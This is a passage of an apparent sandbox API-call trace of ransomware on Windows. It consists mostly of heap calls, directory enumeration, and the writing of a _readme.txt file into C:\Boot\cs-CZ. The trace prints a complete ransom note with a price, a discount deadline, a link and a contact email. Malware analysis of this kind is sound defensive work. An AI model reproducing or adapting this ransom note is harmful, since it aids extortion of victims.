(in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.165] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.165] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.165] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.165] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.165] PathFindFileNameW (pszPath="") returned="" [0124.165] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.165] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.166] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.166] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.166] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.166] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.166] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.166] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.166] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0124.166] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.166] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.166] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0124.175] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.176] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.176] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.176] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.176] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.176] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.176] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.176] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.176] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.176] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.176] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.176] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.176] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.176] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.176] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.176] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.177] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.177] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.177] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.178] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.178] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.179] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, 